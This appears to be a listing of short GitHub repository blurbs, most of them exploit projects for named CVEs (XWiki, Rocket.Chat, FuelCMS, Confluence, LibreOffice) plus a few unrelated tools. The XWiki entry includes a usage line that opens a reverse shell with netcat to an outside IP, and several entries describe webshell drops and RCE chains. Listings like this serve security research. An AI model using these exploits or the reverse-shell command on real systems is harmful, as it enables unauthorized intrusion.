CVE-2025-24893

CVE-2025-24893 Remote Code Execution exploit for XWiki for versions prior to 15.10.11, 16.4.1 and 16.5.0RC1. Usage $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use it only for ethical purposes :...

CVE-2024-28397-js2py-Sandbox-Escape

Introduction 中文 Analysis Chinese Analysis English js2py is a popular python package that can evaluate javascript code inside python interpreter. It is used by various web scrapers to parse javascript code on the website. There exists a vulnerability in the implementation of a global variable insi...

ez-iRZ

ez-iRZ Exploit for CVE-2022-27226 Cross Site Request Forgery to Remote Code Execution in iRZ Mobile Routers Credits John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis Description A CSRF issue on iRZ Mobile Routers through...

firstexecution

firstexecution Collection of different ways to execute code outside of the expected entry points...

iac-scan-runner

IaC Scan Runner Service that scans your Infrastructure as Code for common vulnerabilities. Aspect| Information ---|--- Tool name| IaC Scan Runner Docker image| xscanner/runner PyPI package| iac-scan-runner Documentation| docs Contact us| [email protected] Table of Contents Description Runnin...

CVE-2023-33246

CVE-2023-33246 Modify props.setProperty, execute command...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Automated F5 Big IP Remote Code Execution CVE-2020-5902 Scanner Written In Python 3 Vulnerability Description F5 released a Critical Remote Code Execution vulnerability CVE-2020-5902 on 30th June 2020 that affects several versions of Big IP. Attacker can easily exploit RCE &...

CVE-2025-46816

CVE-2025-46816 POC for exploiting goshs code execution on versions 1.0.5...

bouvet

Bouvet Isolated code execution sandboxes for AI agents About • How It Works • MCP Tools • Documentation What is Bouvet? Bouvet boo-veh is an MCP server that creates secure, isolated sandboxes for AI agents to execute code. When an AI agent needs to run Python, Node.js, or shell commands, Bouvet...

rocketcat-cve-2021-22911-exploit

Rocket.Chat CVE-2021-22911 Exploit ⚠️ DISCLAIMER - EDUCATIONAL USE ONLY This exploit is for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse. 📋 Overview CVE-2021-22911 is a critical...

CVE-2023-23752

CVE-2023-23752 CVE-2023-23752 is an authentication bypass resulting in an information leak on Joomla! Servers. Although rated as a CVSSv3 5.3 Medium severity by NVD, this vulnerability could allow an attacker to achieve code execution under the right circumstances. That likely justifies the...

git-fsmonitor

This is a documented known issue, but I found this during my research & its pretty useful for RT/PT. Summary: The FSMonitor helper is executed by git on every command like git status, git diff, etc., hence git will blindly launch whatever path we specfic there. Our IDEs runs git status...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE & load of external ressources found by @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Just an example to drop a webshell in current directory. python3 CVE-2023-2255.py --cmd 'wget...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE Exploit to trigger RCE for CVE-2018-16763 on FuelCMS = 1.4.1 and interactive shell. Features Automatically uploads a php webshell API in FuelCMS using CVE-2018-16763. Execute system commands via an API with ?action=exec. Download files from the remote system t...

idaguides

IDA Guides Small plugin for IDA that adds indent guides to the decompiler view. Installation 1. Clone or download this repository 2. Extract it's contents to your IDA plugins directory 3. Restart IDA Tested With IDA 9.2, 9.3...

CVE-2023-22515_RCE

A way to achieve RCE after obtaining backend permissions in Confluence Manual GetShell Steps You can upload custom plugins in the backend to achieve RCE Access plugins/servlet/com.jsos.shell/ShellServlet...

WhatsAppHACK-RCE

WhatsAppHACK-RCE...

Android-Projector-C2-Malware

Pre-installed C2 Infrastructure and RAT Payload on Android Projectors Technical Analysis Report — Security Research Affected Devices: Multiple Android projectors of projector brands like the Nonete e.g., Model HY260Pro likely also several projectors from Magcubic, Hotack, Huyukang and many more, ...

CVE-2023-43879-RiteCMS-Stored-XSS---GlobalContent

Rite CMS v3.0 Multiple Stored XSS Author: Sergio Description: Rite CMS 3.0 is affected by a Cross-Site scripting XSS stored vulnerability that allows attackers to execute arbitrary code via a crafted payload in to the Global Content Blocks in the Administration Menu. Attack Vectors:...

CVE-2019-0887

CVE-2019-0887 Compile the CVE-2019-0887, rename to winhlp.dll Compile the InstallHook, rename to hook.exe be careful, they must be compile with x64 Put then into the evil system just like that c:\windows\hook.exe c:\windows\winhlp.dll c:\windows\winhlp64.exe something evil if somebody want to...